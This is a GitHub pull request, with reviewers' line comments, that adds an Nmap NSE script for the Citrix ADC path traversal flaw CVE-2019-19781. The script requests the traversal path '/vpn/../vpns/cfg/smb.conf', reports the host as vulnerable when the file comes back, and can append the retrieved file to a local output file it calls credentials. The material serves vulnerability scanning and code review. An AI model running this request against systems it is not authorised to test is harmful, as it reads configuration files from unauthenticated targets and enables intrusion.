Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2019-19781 - Citrix ADC Path Traversal #1893

Open
wants to merge 3 commits into
base: master
from
Open
Changes from 1 commit
Commits
File filter...
Filter file types
Jump to…
Jump to file or symbol
Failed to load files and symbols.

Always

Just for now

Next

Create https-citrix-path-traversal.nse

  • Loading branch information
RootUp committed Jan 15, 2020
commit 2092668b39c9c56eb083cc68dcd8250ebf0d3479
@@ -0,0 +1,111 @@
local http = require "http"
local stdnse = require "stdnse"
local shortport = require "shortport"
local table = require "table"

This comment has been minimized.

Copy link
@nnposter

nnposter Jan 17, 2020

Is it being used?

local string = require "string"
local vulns = require "vulns"
local nmap = require "nmap"

This comment has been minimized.

Copy link
@nnposter

nnposter Jan 17, 2020

Is it being used?

local io = require "io"

description = [[
This NSE script checks whether the traget server is vulnerable to CVE-2019-19781
This conversation was marked as resolved by RootUp

This comment has been minimized.

Copy link
@nnposter

This comment has been minimized.

Copy link
@nnposter

nnposter Jan 17, 2020

The description should be more verbose, describing what the script actually does.

This comment has been minimized.

Copy link
@dmiller-nmap

dmiller-nmap Jan 17, 2020

It should at minimum contain all the information in the vuln report table below, including references.

]]
---
-- @usage
-- nmap --script https-citrix-path-traversal -p <port> <host>
-- nmap --script https-citrix-path-traversal -p <port> <host> --script-args output='file.txt'
-- @output
-- PORT STATE SERVICE
-- 443/tcp open http
-- | CVE-2019-19781:
-- | Host is vulnerable to CVE-2019-19781
-- @changelog
-- 16-01-2020 - Author: Dhiraj Mishra (@RandomDhiraj)
-- 17-12-2019 - Discovery: Mikhail Klyuchnikov (@__Mn1__)
-- @xmloutput
-- <table key="NMAP-1">
This conversation was marked as resolved by RootUp

This comment has been minimized.

Copy link
@nnposter

nnposter Jan 17, 2020

What is "NMAP-1"?

-- <elem key="title">Citrix ADC Path Traversal aka (Shitrix)</elem>
-- <elem key="state">VULNERABLE</elem>
-- <table key="description">
-- <elem>Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0 are vulnerable to a unauthenticated path
-- traversal vulnerability that allows attackers to read configurations or any other file.

This comment has been minimized.

Copy link
@nnposter

nnposter Jan 17, 2020

Missing </elem> tag

This comment has been minimized.

Copy link
@dmiller-nmap

dmiller-nmap Jan 17, 2020

Several spots in the @output and @xmloutput sections look like they come from an earlier version of the script. They should all be updated after all the other changes are made.

-- </table>
-- <table key="dates">
-- <table key="disclosure">
-- <elem key="year">2019</elem>
-- <elem key="day">17</elem>
-- <elem key="month">12</elem>
-- </table>
-- </table>
-- <elem key="disclosure">17-12-2019</elem>
-- <table key="extra_info">
-- </table>
-- <table key="refs">
-- <elem>https://support.citrix.com/article/CTX267027</elem>
-- <elem>https://nvd.nist.gov/vuln/detail/CVE-2019-19781</elem>
-- </table>
-- </table>

author = "Dhiraj Mishra (@RandomDhiraj)"
Discovery = "Mikhail Klyuchnikov (@__Mn1__)"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"discovery", "intrusive","vuln"}
This conversation was marked as resolved by RootUp

This comment has been minimized.

Copy link
@nnposter

nnposter Jan 17, 2020

Why "intrusive"? Maybe "exploit" instead?


portrule = shortport.ssl

This comment has been minimized.

Copy link
@nnposter

nnposter Jan 17, 2020

This script would be launched against anything that has SSL, such as POP3S, IMAPS, FTPS, telnets, ...
Use shortport.http instead

This comment has been minimized.

Copy link
@dmiller-nmap

dmiller-nmap Jan 17, 2020

Even better, if this service typically runs on a particular port, this could be combined with shortport.port_or_service to match that port number even if it is not a usual HTTP port and if -sV is not used.


action = function(host,port)
local outputFile = stdnse.get_script_args(SCRIPT_NAME..".output") or nil
This conversation was marked as resolved by RootUp

This comment has been minimized.

Copy link
@nnposter

nnposter Jan 17, 2020

The or nil piece does not have any purpose

This comment has been minimized.

Copy link
@nnposter

nnposter Jan 17, 2020

This script argument needs to be documented

local vuln = {
title = 'Citrix ADC Path Traversal',
state = vulns.STATE.NOT_VULN,
description = [[
Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0 are vulnerable
to a unauthenticated path traversal vulnerability that allows attackers to read configurations or any other file.
]],
references = {
'https://support.citrix.com/article/CTX267027',
'https://nvd.nist.gov/vuln/detail/CVE-2019-19781',
},
dates = {
disclosure = {year = '2019', month = '12', day = '17'},
},

This comment has been minimized.

Copy link
@nnposter

nnposter Jan 17, 2020

Add IDS, risk_factor, and scores

}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
local path = "/vpn/../vpns/cfg/smb.conf"
local response
local output = {}
local success = "Host is vulnerable to CVE-2019-19781"
local fail = "Host is not vulnerable"
local match = "[global]"

This comment has been minimized.

Copy link
@nnposter

nnposter Jan 17, 2020

Do not declare strings that are used only once. Otherwise the script is hard to read.

local credentials
local citrixADC

response = http.get(host, port.number, path)
This conversation was marked as resolved by RootUp

This comment has been minimized.

Copy link
@nnposter

nnposter Jan 17, 2020

Do not use port.number here. Just port is better


if not response.status then
stdnse.print_debug("Request Failed")

This comment has been minimized.

Copy link
@nnposter

nnposter Jan 17, 2020

print_debug is deprecated. Use debug<n> instead

return
end
if response.status == 200 then
if string.match(response.body, match) then

This comment has been minimized.

Copy link
@nnposter

nnposter Jan 17, 2020

This does not work correctly because [global] is being interpreted as a pattern.
Use response.body:find("[global]", 1, true) instead

stdnse.print_debug("%s: %s GET %s - 200 OK", SCRIPT_NAME,host.targetname or host.ip, path)

This comment has been minimized.

Copy link
@nnposter

nnposter Jan 17, 2020

print_debug is deprecated. Use debug<n> instead

vuln.state = vulns.STATE.VULN

This comment has been minimized.

Copy link
@nnposter

nnposter Jan 17, 2020

EXPLOIT would be more appropriate than VULN

citrixADC = (("Path traversal: https://%s:%d%s"):format(host.targetname or host.ip,port.number, path))

if outputFile then
credentials = response.body:gsub('%W','.')

This comment has been minimized.

Copy link
@nnposter

nnposter Jan 17, 2020

What is the purpose of this mangling? Are you not losing important details by doing this in such a crude fashion?

vuln.check_results = stdnse.format_output(true, citrixADC)

This comment has been minimized.

Copy link
@nnposter

nnposter Jan 17, 2020

Why is citrixADC populated on line 93 but then used separately in each branch of the if statement?

vuln.extra_info = stdnse.format_output(true, "Credentials are being stored in the output file")

This comment has been minimized.

Copy link
@nnposter

nnposter Jan 17, 2020

The file content is not really just "credentials", right?

file = io.open(outputFile, "a")

This comment has been minimized.

Copy link
@nnposter

nnposter Jan 17, 2020

Basic error checking should be done here

This conversation was marked as resolved by RootUp

This comment has been minimized.

Copy link
@nnposter

nnposter Jan 17, 2020

Why is the mode "a" and not "w"?

file:write(credentials, "\n")

This comment has been minimized.

Copy link
@nnposter

nnposter Jan 17, 2020

The file should be closed afterwards.

else
vuln.check_results = stdnse.format_output(true, citrixADC)

This comment has been minimized.

Copy link
@nnposter
end
end
elseif response.status == 403 then
stdnse.print_debug("%s: %s GET %s - %d", SCRIPT_NAME, host.targetname or host.ip, path, response.status)

This comment has been minimized.

Copy link
@nnposter

nnposter Jan 17, 2020

print_debug is deprecated. Use debug<n> instead

vuln.state = vulns.STATE.NOT_VULN
end

return vuln_report:make_output(vuln)
end
ProTip! Use n and p to navigate between commits in a pull request.
You can’t perform that action at this time.